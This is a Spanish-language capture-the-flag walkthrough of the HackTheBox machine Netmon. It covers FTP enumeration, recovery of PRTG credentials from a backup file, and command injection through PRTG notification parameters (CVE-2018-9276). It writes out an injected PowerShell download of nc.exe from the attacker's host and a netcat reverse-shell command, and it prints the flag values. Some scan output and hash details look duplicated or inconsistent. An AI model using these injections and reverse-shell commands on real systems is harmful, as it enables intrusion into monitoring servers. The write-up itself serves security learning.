

# HTB Machine Walkthrough: Netmon

## {0x0} Introducción

Netmon es una máquina ubicada en [HackTheBox](https://www.hackthebox.com/) que debemos vulnerar para conseguir las flags de usuario (user.txt) y root (root.txt) creada por [mrb3n](#) (miembro de equipo [GuidePointSecurity](#)) basada en Windows OS, os mostraremos los pasos que hemos dado.



## {0x1} Reconocimiento

Antes de empezar *ifconfig* a nuestra máquina de pentesting Kali Linux comprobando la conexión con la VPN privada a través de *openvpn --config 1v4n.ovpn* asignándose la IP *10.10.14.192*. Y comenzamos descubriendo nuestra dirección IP con *ifconfig*

```
tun0: flags=4305<UP,POINTOPOINT,RUN
    inet 10.10.14.192 netmask 255.255.255.0
    inet6 dead:beef:2::12be prefixlen 64
    inet6 fe80::311:921a:67d7:1c1a prefixlen 64
    unspec 00-00-00-00-00-00-00-00 prefixlen 64
    RX packets 956 bytes 373373
    RX errors 0 dropped 0 overruns 0
    TX packets 1160 bytes 15375
    TX errors 0 dropped 0 overruns 0
```

Los conocimientos que os hemos intentado transmitir, están dirigidos a una práctica ética, si los usáis para prácticas no adecuadas ni en consonancia con la legislación sería únicamente responsabilidad vuestra o de vuestros tutores. No nos hacemos responsables del mal uso que se le pueda dar a las herramientas y habilidades que enseñemos.

Y comprobamos que hay conexión con la máquina a vulnerar lanzando un `ping -c 3`

```
root@lv4n:~/CTF/HTB/Machines/Netmon# ping -c 3 10.10.10.152
PING 10.10.10.152 (10.10.10.152) 56(84) bytes of data.
64 bytes from 10.10.10.152: icmp_seq=1 ttl=127 time=65.6 ms
64 bytes from 10.10.10.152: icmp_seq=2 ttl=127 time=59.10 ms
64 bytes from 10.10.10.152: icmp_seq=3 ttl=127 time=60.8 ms

--- 10.10.10.152 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 49ms
rtt min/avg/max/mdev = 59.963/62.135/65.626/2.501 ms
```

## {0x2} Escaneo

Realizamos un escaneo de puertos para comprobar los servicios que están abiertos y corriendo en la máquina a vulnerar con `nmap -A 10.10.10.152`

```
root@lv4n:~/CTF/HTB/Machines/Netmon# nmap -A 10.10.10.152
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-05 21:11 CEST
Nmap scan report for 10.10.10.152
Host is up (0.072s latency).
Not shown: 995 closed ports
PORT      STATE SERVICE        VERSION
21/tcp    open  ftp            Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ 02-03-19 12:18AM             1024 .rnd
|_ 02-25-19 10:15PM             <DIR> inetpub
|_ 07-16-16 09:18AM             <DIR> PerfLogs
|_ 02-25-19 10:56PM             <DIR> Program Files
|_ 02-03-19 12:28AM             <DIR> Program Files (x86)
|_ 02-03-19 08:08AM             <DIR> Users
|_ 02-25-19 11:49PM             <DIR> Windows
|_ ftp-syst:
|_ SYST: Windows NT
80/tcp    open  http           Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_ http-server-header: PRTG/18.1.37.13946
|_ http-title: Welcome | PRTG Network Monitor (NETMON)
|_ Requested resource was /index.htm
|_ http-trane-info: Problem with XML parsing of /evox/about
135/tcp   open  msrpc          Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds   Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS: SCAN (V=7.70%E=4%D=6/5%OT=21%CT=1%CU=41559%PV=Y%D=2%DC=T%G=Y%TH=5CF81409
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10%D=1%II=I%TS=A)SEQ(SP=FF%
OS:GCD=1%ISR=10%D=1%II=I%TS=A)SEQ(SP=FF%GCD=1%ISR=10%D=1%II=I%TS=A)SEQ(SP=FF%GCD=
OS:1%ISR=10%D=1%II=I%TS=A)OPS(O1=M54DNW8ST11%02=M54DNW8ST11%03
OS:=M54DNW8NNT11%04=M54DNW8ST11%05=M54DNW8ST11%06=M54DST11)WIN(W1=2000%W2=2
OS:000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%0=M54DNW8NN
OS:S%CC=Y%Q=)T1(R=Y%DF=Y%T=80%W=0%A=S+F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%A=S
OS:Z%A=S+F=AR%0=0%RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%A=S+F=AR%0=0%RD=0%Q=)T4(R=
OS:Y%DF=Y%T=80%W=0%A=S+F=AR%0=0%RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%A=S+F=AR%0=0%RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%A=S+F=AR%0=0%RD=0%Q=)T7(R=Y%DF=Y%T=8
OS:0%W=0%A=S+F=AR%0=0%RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=
OS:G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
| smb-security-mode:
|_ authentication_level: user
```

```

80/tcp open  http      Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
_ http-server-header: PRTG/18.1.37.13946
_ http-title: Welcome | PRTG Network Monitor (NETMON)
_ Requested resource was /index.htm
_ http-trane-info: Problem with XML parsing of /evox/about
135/tcp open  msrpc      Microsoft Windows RPC
139/tcp open  netbios-ssn Microsoft Windows netbios-ssn
445/tcp open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=6/5%OT=21%CT=1%CU=41559%PV=Y%DS=2%DC=T%G=Y%TM=5CF81409
OS:%P=x86_64-pc-linux-gnu)SEQ(SP=FF%GCD=1%ISR=10D%CI=I%II=I%TS=A)SEQ(SP=FF%
OS:GCD=1%ISR=10D%CI=I%TS=A)SEQ(SP=FF%GCD=1%ISR=10C%II=I%TS=A)SEQ(SP=FF%GCD=
OS:1%ISR=10C%TI=I%CI=RD%II=I%SS=0%TS=A)OPS(O1=M54DNW8ST11%O2=M54DNW8ST11%O3
OS:=M54DNW8NNT11%O4=M54DNW8ST11%O5=M54DNW8ST11%O6=M54DST11)WIN(W1=2000%W2=2
OS:000%W3=2000%W4=2000%W5=2000%W6=2000)ECN(R=Y%DF=Y%T=80%W=2000%O=M54DNW8NN
OS:%CC=0%Q=)T1(R=Y%DF=Y%T=80%S=0%A=S+F=AS%RD=0%Q=)T2(R=Y%DF=Y%T=80%W=0%S=
OS:Z%A=S+F=AR%0=RD=0%Q=)T3(R=Y%DF=Y%T=80%W=0%S=Z%A=0%F=AR%0=RD=0%Q=)T4(R=
OS:Y%DF=Y%T=80%W=0%S=A%0=RD=0%Q=)T5(R=Y%DF=Y%T=80%W=0%S=Z%A=S+F=A
OS:R%0=RD=0%Q=)T6(R=Y%DF=Y%T=80%W=0%S=A%0=RD=0%Q=)T7(R=Y%DF=Y%T=8
OS:0%W=0%S=Z%A=S+F=AR%0=RD=0%Q=)U1(R=Y%DF=N%T=80%IPL=164%UN=0%RIPL=G%RID=
OS:G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=80%CD=Z)

Network Distance: 2 hops
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

Host script results:
_ smb-security-mode:
_ authentication level: user
_ challenge response: supported
_ message signing: disabled (dangerous, but default)
_ smb2-security-mode:
_ 2.02:
_ Message signing enabled but not required
_ smb2-time:
_ date: 2019-06-05 21:12:05
_ start_date: 2019-06-05 21:06:50

TRACEROUTE (using port 23/tcp)
HOP RTT ADDRESS
1 71.20 ms 10.10.12.1
2 71.39 ms 10.10.10.152

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.03 seconds

```

Observamos abiertos los puertos con sus correspondientes servicios como el 21 ([ftp](#)), 80 ([http](#)), 135([msrpc](#)), 139([netbios-ssn](#)) y 445([microsoft-ds](#)) .

Detectamos la vulnerabilidad del servicio *MS ftpd* que nos permitirá loguearnos y listar directorios con las credenciales **anonymous:anonymous**

```

root@lv4n:~/CTF/HTB/Machines/Netmon# nmap -sS -sV 10.10.10.152 -p21 --script ftp-anon
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-05 21:44 CEST
Nmap scan report for 10.10.10.152
Host is up (0.055s latency).

PORT      STATE SERVICE VERSION
21/tcp open  ftp      Microsoft ftpd
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_ 02-03-19 12:18AM          1024 .rnd
|_ 02-25-19 10:15PM          <DIR>      inetpub
|_ 07-16-16 09:18AM          <DIR>      PerfLogs
|_ 02-25-19 10:56PM          <DIR>      Program Files
|_ 02-03-19 12:28AM          <DIR>      Program Files (x86)
|_ 02-03-19 08:08AM          <DIR>      Users
|_ 02-25-19 11:49PM          <DIR>      Windows
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.92 seconds

```

Además tenemos el servicio *http(80)* abierto y corriendo a *Indy httpd 18.1.37.13946* servidor web del software [Paessler PRTG bandwidth monitor](#)



```

root@lv4n:~/CTF/HTB/Machines/Netmon# nmap -sC -sV 10.10.10.152 -p80
Starting Nmap 7.70 ( https://nmap.org ) at 2019-06-05 21:57 CEST
Nmap scan report for 10.10.10.152
Host is up (0.100s latency).

PORT      STATE SERVICE VERSION
80/tcp    open  http      Indy httpd 18.1.37.13946 (Paessler PRTG bandwidth monitor)
|_ http-server-header: PRTG/18.1.37.13946
|_ http-title: Welcome | PRTG Network Monitor (NETMON)
|_ Requested resource was /index.htm
|_ http-trane-info: Problem with XML parsing of /evox/about
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.60 seconds

```

Pasamos a configurar `/etc/hosts` añadiendo la línea `10.10.10.152 netmon.htb`

```

127.0.0.1      localhost
127.0.1.1      kali
10.10.10.152   netmon.htb

# The following lines are desirable for IPv6 capable hosts
::1            localhost ip6-localhost ip6-loopback
ff02::1        ip6-allnodes
ff02::2        ip6-allrouters

```

### {0x3} Enumeración

Exploramos los directorios más interesantes vía `ftp(21)` y nos encontramos con el comando `ls -la` directorios interesantes como `ProgramData`, `Windows` y `Users`.

```

root@lv4n:~/CTF/HTB/Machines/Netmon# ftp netmon.htb 21
Connected to netmon.htb.
220 Microsoft FTP Service
Name (netmon.htb:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
11-20-16 10:46PM <DIR> $RECYCLE.BIN
02-03-19 12:18AM 1024 .rnd
11-20-16 09:59PM 389408 bootmgr
07-16-16 09:10AM 1 BOOTNXT
02-03-19 08:05AM <DIR> Documents and Settings
02-25-19 10:15PM <DIR> inetpub
06-05-19 04:34PM Ver Buscar 738197504 pagefile.sys
07-16-16 09:18AM <DIR> PerfLogs
02-25-19 10:56PM <DIR> Program Files
02-03-19 12:28AM <DIR> Program Files (x86)
02-25-19 10:56PM <DIR> ProgramData
02-03-19 08:05AM <DIR> Recovery
02-03-19 08:04AM <DIR> System Volume Information
02-03-19 08:08AM <DIR> Users
02-25-19 11:49PM <DIR> Windows
226 Transfer complete.

```

Descargamos con **get** del directorio de *C:\Windows* el archivo *restart.bat* script que reinicia PRTG NM copiando el archivo “PRTG Configuration.dat” en el directorio *C:\ProgramData\Paessler\PRTG Network Monitor*

```
root@lv4n:~/CTF/HTB/Machines/Netmon# ftp netmon.htb 21
Connected to netmon.htb.
220 Microsoft FTP Service
Name (netmon.htb:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> cd Windows
250 CWD command successful.
ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
11-20-16 09:53PM <DIR> ADFS
07-16-16 09:18AM <DIR> AppCompat
11-20-16 09:59PM <DIR> AppPatch

07-16-16 09:18AM <DIR> Resources
02-25-19 11:49PM 140 restart.bat
07-16-16 09:18AM <DIR> SchCache
07-16-16 09:18AM <DIR> schemas
07-16-16 09:18AM <DIR> security
11-20-16 10:15PM <DIR> ServiceProfiles
11-20-16 09:53PM <DIR> servicing
07-16-16 09:19AM <DIR> Setup
02-03-19 08:05AM 6894 setupact.log
11-20-16 10:15PM 0 setuperr.log
11-20-16 10:09PM <DIR> SKB
02-03-19 12:13AM <DIR> SoftwareDistribution
11-20-16 10:12PM <DIR> Speech
11-20-16 10:12PM <DIR> Speech_OneCore
11-20-16 09:59PM 130560 splwow64.exe
07-16-16 09:18AM <DIR> System
07-16-16 09:16AM 219 system.ini
02-25-19 11:48PM <DIR> System32
07-16-16 09:18AM <DIR> SystemResources
02-25-19 10:56PM <DIR> SysWOW64
11-20-16 10:15PM <DIR> Tasks
06-10-19 03:17PM <DIR> Temp
07-16-16 09:18AM <DIR> tracing
07-16-16 09:18AM <DIR> Vss
07-16-16 09:18AM <DIR> Web
07-16-16 09:16AM 92 win.ini
06-10-19 03:13PM 275 WindowsUpdate.log
02-25-19 11:39PM <DIR> WinSxS
226 Transfer complete.
ftp> get restart.bat
local: restart.bat remote: restart.bat
421 Service not available, remote server has closed connection
ftp> quit
root@lv4n:~/CTF/HTB/Machines/Netmon# file restart.bat
restart.bat: ASCII text
root@lv4n:~/CTF/HTB/Machines/Netmon# cat restart.bat
net stop PRTGCoreService
copy "c:\Windows\PRTG Configuration.dat" "C:\ProgramData\Paessler\PRTG Network Monitor"
net start PRTGCoreService
root@lv4n:~/CTF/HTB/Machines/Netmon#
```

[Paessler PRTG](#) se instala por defecto en *%programdata%\Paessler\PRTG Network Monitor* dónde almacena información como configuraciones y backups. Nos centraremos en los archivos “*PRTG Configuration.\**” que pueden contener información sobre usuarios.



```

ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 12:40AM <DIR> Configuration Auto-Backups
06-05-19 04:35PM <DIR> Log Database
02-03-19 12:18AM <DIR> Logs (Debug)
02-03-19 12:18AM <DIR> Logs (Sensors)
02-03-19 12:18AM <DIR> Logs (System)
06-05-19 04:35PM <DIR> Logs (Web Server)
06-05-19 04:40PM <DIR> Monitoring Database
06-05-19 04:48PM 1213908 PRTG Configuration.dat
02-25-19 10:54PM 1189697 PRTG Configuration.old
07-14-18 03:13AM 1153755 PRTG Configuration.old.bak
06-05-19 04:36PM 1647604 PRTG Graph Data Cache.dat
02-25-19 11:00PM <DIR> Report PDFs
02-03-19 12:18AM <DIR> System Information Database
02-03-19 12:40AM <DIR> Ticket Database
02-03-19 12:18AM <DIR> ToDo Database
226 Transfer complete.
ftp>

```

Observamos en el archivo de respaldo realizado en la fecha **07/14/2018** de la configuración "**PRTG Configuration.dat.old.bak**" datos de un usuario que almacena sin ningún tipo de cifrado con las credenciales **prtgadmin:PrTg@dmin2018** que no son válidas.

```

</dbcredentials>
<dbpassword>
  <!-- User: prtgadmin -->
  PrTg@dmin2018
</dbpassword>
<dbtimeout>
:

```

Examinamos el directorio de *Users* y nos percatamos que no somos administradores pero que sí tenemos acceso a la carpeta *Public* donde tenemos ubicado el archivo **user.txt**

```

root@lv4n:~/CTF/HTB/Machines/Netmon# ftp netmon.htb 21
Connected to netmon.htb.
220 Microsoft FTP Service
Name (netmon.htb:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> cd Users
250 CWD command successful.
ftp> cd Administrator
550 Access is denied.
ftp> cd Public
250 CWD command successful.
ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 08:08AM <DIR> AccountPictures
02-03-19 12:18AM <DIR> Desktop
07-16-16 09:16AM 174 desktop.ini
02-03-19 08:05AM <DIR> Documents
07-16-16 09:18AM <DIR> Downloads
07-16-16 09:18AM <DIR> Libraries
07-16-16 09:18AM <DIR> Music
07-16-16 09:18AM <DIR> Pictures
02-03-19 12:35AM 33 user.txt
07-16-16 09:18AM <DIR> Videos
226 Transfer complete.

```





Según la [información](#) en PEASSLER probamos las credenciales por defecto en el login de la web de administración del PRTG NM (***prtgadmin:prtgadmin***) pero no son válidas.

## PRTG Network Monitor (NETMON)



Your login has failed. Please try again!

Login Name

Password

Login



Retomando las credenciales encontradas en el archivo de respaldo realizado en el año 2018 de la configuración del PRTG, probamos otras credenciales siendo el usuario admin ***prtgadmin*** y el algoritmo de la contraseña ***PrTg@dmin[Año]***. Conseguimos la credencial válida a la administración web con ***prtgadmin:PrTg@dmin2019*** ayudándonos de *BurpSuite > Repeater*

Request		Response	
Raw	Params	Raw	Headers
<pre>POST /public/checklogin.htm HTTP/1.1 Host: netmon.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://netmon.htb/public/login.htm?loginurl=%2Fwelcome.htm&amp;errorMsg= Content-Type: application/x-www-form-urlencoded Content-Length: 65 Cookie: ga=GA1.2.1299452191.1559674447; _gid=GA1.2.876824701.1560191157; OCTOPUS1813713946-ezASOU5MOYzLTix0TctNDE0NS04MDE4LUU3MDI3N0RGNURCRn0%3D; _gat=1 Connection: close Upgrade-Insecure-Requests: 1 loginurl=%2Fwelcome.htm&amp;username=prtgadmin&amp;password=PrTg@dmin2018</pre>		<pre>HTTP/1.1 302 Moved Temporarily Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 0 Date: Mon, 10 Jun 2019 20:37:21 GMT Expires: 0 Cache-Control: no-cache X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Server: PRTG/18.1.37.13946 Location: /public/login.htm?errorMsg=Your%20login%20has%20failed.%20Please%20try%20again%216loginurl=%2Fwelcome.htm</pre>	
<pre>POST /public/checklogin.htm HTTP/1.1 Host: netmon.htb User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: http://netmon.htb/public/login.htm?loginurl=%2Fwelcome.htm&amp;errorMsg= Content-Type: application/x-www-form-urlencoded Content-Length: 65 Cookie: ga=GA1.2.1299452191.1559674447; _gid=GA1.2.876824701.1560191157; OCTOPUS1813713946-ezASOU5MOYzLTix0TctNDE0NS04MDE4LUU3MDI3N0RGNURCRn0%3D; _gat=1 Connection: close Upgrade-Insecure-Requests: 1 loginurl=%2Fwelcome.htm&amp;username=prtgadmin&amp;password=PrTg@dmin2019</pre>		<pre>HTTP/1.1 302 Moved Temporarily Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 0 Date: Mon, 10 Jun 2019 20:37:55 GMT Expires: 0 Cache-Control: no-cache X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block X-Frame-Options: DENY Server: PRTG/18.1.37.13946 Location: /welcome.htm Set-Cookie: OCTOPUS1813713946-ezASOU5MOYzLTix0TctNDE0NS04MDE4LUU3MDI3N0RGNURCRn0%3D; Path=/; HttpOnly</pre>	

Los conocimientos que os hemos intentado transmitir, están dirigidos a una práctica ética, si los usáis para prácticas no adecuadas ni en consonancia con la legislación sería únicamente responsabilidad vuestra o de vuestros tutores. No nos hacemos responsables del mal uso que se le pueda dar a las herramientas y habilidades que enseñemos.



## {0x4} Acceso

Accedemos con éxito a `/Users/Public/` y a través del comando **get** obtenemos **user.txt**

```
root@lv4n:~/CTF/HTB/Machines/Netmon# ftp netmon.htb 21
Connected to netmon.htb.
220 Microsoft FTP Service
Name (netmon.htb:root): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> cd Users/Public
250 CWD command successful.
ftp> get user.txt
local: user.txt remote: user.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
33 bytes received in 0.13 secs (0.2388 kB/s)
ftp> quit
221 Goodbye.
root@lv4n:~/CTF/HTB/Machines/Netmon# file user.txt
user.txt: ASCII text
root@lv4n:~/CTF/HTB/Machines/Netmon# md5sum user.txt
e5921787b7bf4d636a6deb635329e0a3 user.txt
root@lv4n:~/CTF/HTB/Machines/Netmon# cat user.txt
dd58ce67b49e15105e88096c8d9255a5
root@lv4n:~/CTF/HTB/Machines/Netmon#
```

Y conseguimos tener acceso a user.txt > **dd58ce67b49e15105e88096c8d9255a5**

[!] Hash function : MD5 > **822722093**



Pasamos a acceder a la administración web con las credenciales **prtgadmin:PrTg@dmin2019** en la URL <http://netmon.htb/public/login.html> .



Ya autenticados nos movemos a **Setup > Notifications > Email and push notification to admin**

**Basic Notification Settings**

Notification Name <sup>?</sup> Email and push notification to admin

Tags <sup>?</sup> +

Status <sup>?</sup> ☒ Started ☐ Paused

Schedule <sup>?</sup> None

Postpone <sup>?</sup> ☐ Discard notifications during paused status ☒ Collect notifications and send them when reactivated

Activando la opción **Execute Program > Demo exe notification - outfile.ps1** > Ejecutamos un test introduciendo el siguiente script en **Parameter text.txt; mkdir c:\users\public\testing** > **Save > Send test Notification**

☒ **Execute Program**

Program File <sup>?</sup> Demo exe notification - outfile.ps1

Parameter <sup>?</sup> text.txt; mkdir c:\users\public\testing

Domain or Computer Name <sup>?</sup>

Save

Los conocimientos que os hemos intentado transmitir, están dirigidos a una práctica ética, si los usáis para prácticas no adecuadas ni en consonancia con la legislación sería únicamente responsabilidad vuestra o de vuestros tutores. No nos hacemos responsables del mal uso que se le pueda dar a las herramientas y habilidades que enseñemos.

Comprobamos a través de *ftp* (21) que se crea el directorio *testing* en *C:\Users\Public* y confirmamos que la vulnerabilidad [CVE-2018-9276](#) está activa.

```
ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 08:08AM <DIR> AccountPictures
02-03-19 12:18AM <DIR> Desktop
07-16-16 09:16AM 174 desktop.ini
02-03-19 08:05AM <DIR> Documents
07-16-16 09:18AM <DIR> Downloads
07-16-16 09:18AM <DIR> Libraries
07-16-16 09:18AM <DIR> Music
07-16-16 09:18AM <DIR> Pictures
06-11-19 05:12PM <DIR> testing
02-03-19 12:35AM 33 user.txt
07-16-16 09:18AM <DIR> Videos
226 Transfer complete.
ftp> cd testing
250 CWD command successful.
```

Decidimos volver a realizar un *script* pero invocando al archivo *root.txt* que se encuentra ubicado en *C:\Administrator\Desktop*:

*text.txt*; Copy-item "C:\Users\Administrator\Desktop\root.txt" -Destination "C:\Users\Public\testing\1v4n.txt"

```
ftp> ls -la
200 PORT command successful.
125 Data connection already open; Transfer starting.
02-03-19 12:35AM 33 1v4n.txt
226 Transfer complete.
ftp> get 1v4n.txt
local: 1v4n.txt remote: 1v4n.txt
200 PORT command successful.
125 Data connection already open; Transfer starting.
WARNING! 1 bare linefeeds received in ASCII mode
File may not have transferred correctly.
226 Transfer complete.
33 bytes received in 0.05 secs (0.6325 kB/s)
ftp> quit
221 Goodbye.
root@1v4n:~/CTF/HTB/Machines/Netmon# file 1v4n.txt
1v4n.txt: ASCII text
root@1v4n:~/CTF/HTB/Machines/Netmon# md5sum 1v4n.txt
721c99a0d186624ac538c18e2bb0cf72 1v4n.txt
root@1v4n:~/CTF/HTB/Machines/Netmon# cat 1v4n.txt
3018977fb944bf1878f75b879fba67cc
root@1v4n:~/CTF/HTB/Machines/Netmon#
```

Y ahí está *root.txt* > **3018977fb944bf1878f75b879fba67cc**

**[!] Hash function : MD5 > 196851845**

*Los conocimientos que os hemos intentado transmitir, están dirigidos a una práctica ética, si los usáis para prácticas no adecuadas ni en consonancia con la legislación sería únicamente responsabilidad vuestra o de vuestros tutores. No nos hacemos responsables del mal uso que se le pueda dar a las herramientas y habilidades que enseñemos.*





### {0x5} Privesc

Aunque hemos obtenido las flags de user.txt y root.txt, a máquina Netmon la hemos comprometido pero no hemos podido tomar su control o realizar una Escalada de Privilegios (Privesc). Y nos ponemos a ello.

```
root@lv4n:~/CTF/HTB/Machines/Netmon/server# python -m SimpleHTTPServer 4444
Serving HTTP on 0.0.0.0 port 4444 ...
10.10.10.152 - - [07/Jun/2019 20:44:15] "GET /nc.exe HTTP/1.1" 200 -
```

Hacemos un *script* invocando en Netmon a [nc.exe](#) (netcat) que hemos ubicado en un servidor web de la máquina atacante:

```
text.txt; powershell -c "(new-object
System.Net.WebClient).DownloadFile('http://10.10.14.192:8080/nc.exe','C:\Users\Public\testing\nc.exe')"
```

Reubicamos en la máquina Netmon a nc.exe en el directorio de Administrator y lo ejecutamos:

```
text.txt; Copy-item "C:\Users\public\testing\nc.exe" -Destination "C:\Users\administrator\nc.exe"
```

```
test.txt; C:\users\administrator\desktop\nc.exe 10.10.14.192 4444 -e cmd.exe
```

```
root@lv4n:~/CTF/HTB/Machines/Netmon# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.192] from (UNKNOWN) [10.10.10.152] 49921
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

```
root@1v4n:~/CTF/HTB/Machines/Netmon# nc -nlvp 4444
listening on [any] 4444 ...
connect to [10.10.14.192] from (UNKNOWN) [10.10.10.152] 50508
Microsoft Windows [Version 10.0.14393]
(c) 2016 Microsoft Corporation. All rights reserved.

C:\Windows\system32>systeminfo
systeminfo

Host Name:                NETMON
OS Name:                  Microsoft Windows Server 2016 Standard
OS Version:               10.0.14393 N/A Build 14393
OS Manufacturer:         Microsoft Corporation
OS Configuration:        Standalone Server
OS Build Type:             Multiprocessor Free
Registered Owner:         Windows User
Registered Organization:
Product ID:                00376-30821-30176-AA362
Original Install Date:     2/3/2019, 7:05:45 AM
System Boot Time:          6/7/2019, 3:36:02 PM
System Manufacturer:       VMware, Inc.
System Model:              VMware Virtual Platform
System Type:               x64-based PC
Processor(s):              1 Processor(s) Installed.
                           [01]: Intel64 Family 6 Model 79 Stepping 1 GenuineIntel ~2100 Mhz
BIOS Version:              Phoenix Technologies LTD 6.00, 4/5/2016
Windows Directory:         C:\Windows
System Directory:          C:\Windows\system32
Boot Device:               \Device\HarddiskVolume1
System Locale:              en-us;English (United States)
Input Locale:              en-us;English (United States)
Time Zone:                 (UTC-05:00) Eastern Time (US & Canada)
Total Physical Memory:     4,096 MB
Available Physical Memory: 3,235 MB
Virtual Memory: Max Size:  4,800 MB
Virtual Memory: Available: 4,011 MB
Virtual Memory: In Use:    789 MB
Page File Location(s):     C:\pagefile.sys
Domain:                    WORKGROUP
Logon Server:              N/A
Hotfix(s):                 2 Hotfix(s) Installed.
                           [01]: KB3199986
                           [02]: KB3200970
Network Card(s):           1 NIC(s) Installed.
                           [01]: Intel(R) 82574L Gigabit Network Connection
                           Connection Name: Ethernet0
                           DHCP Enabled:    No
                           IP address(es)
                           [01]: 10.10.10.152
                           [02]: fe80::cc54:aad6:7786:9988
```

```
C:\Users\Administrator\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is 684B-9CE8

Directory of C:\Users\Administrator\Desktop

06/07/2019  03:45 PM    <DIR>          .
06/07/2019  03:45 PM    <DIR>          ..
06/07/2019  03:44 PM                36,528 nc.exe
02/03/2019  12:35 AM                33 root.txt
                2 File(s)                36,561 bytes
                2 Dir(s)      11,948,892,160 bytes free

C:\Users\Administrator\Desktop>type root.txt
3018977fb944bf1878f75b879fba67cc
```

Conseguimos tomar el control y de nuevo ahí está root.txt > **3018977fb944bf1878f75b879fba67cc**



Autor: 1v4n a.k.a. @1r0Dm48O  
Twitter: <https://twitter.com/1r0Dm48O>

*Los conocimientos que os hemos intentado transmitir, están dirigidos a una práctica ética, si los usáis para prácticas no adecuadas ni en consonancia con la legislación sería únicamente responsabilidad vuestra o de vuestros tutores. No nos hacemos responsables del mal uso que se le pueda dar a las herramientas y habilidades que enseñemos.*